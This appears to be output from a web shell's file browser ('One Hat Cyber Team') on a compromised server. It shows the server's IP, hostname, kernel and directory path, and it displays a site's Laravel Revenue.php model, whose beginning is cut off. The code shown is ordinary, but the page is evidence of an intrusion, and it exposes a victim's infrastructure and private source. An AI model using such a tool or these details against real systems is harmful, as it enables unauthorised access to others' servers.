⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.142
Server IP:
217.76.53.76
Server:
Linux vmi1397931.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
Server Software:
Apache
PHP Version:
8.2.27
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
www
/
wwwroot
/
app.softverse.com.ng
/
app
/
Models
/
View File Name :
Revenue.php
hasOne('App\Models\ProductServiceCategory', 'id', 'category_id'); } public function customer() { return $this->hasOne('App\Models\Customer', 'id', 'customer_id'); } public function bankAccount() { return $this->hasOne('App\Models\BankAccount', 'id', 'account_id'); } public static function accounts($account) { $categoryArr = explode(',', $account); $unitRate = 0; foreach ($categoryArr as $account) { if ($account == 0) { $unitRate = ''; } else { $account = BankAccount::find($account); // $unitRate = ($account->bank_name ?? ''); $unitRate = ($account->bank_name.' '.$account->holder_name); } } return $unitRate; } public static function customers($customer) { $categoryArr = explode(',', $customer); $unitRate = 0; foreach ($categoryArr as $customer) { if ($customer == 0) { $unitRate = ''; } else { $customer = Customer::find($customer); $unitRate = ($customer->name); } } return $unitRate; } public static function categories($category) { $categoryArr = explode(',', $category); $unitRate = 0; foreach ($categoryArr as $category) { if ($category == 0) { $unitRate = ''; } else { $category = ProductServiceCategory::find($category); $unitRate = ($category->name); } } return $unitRate; } }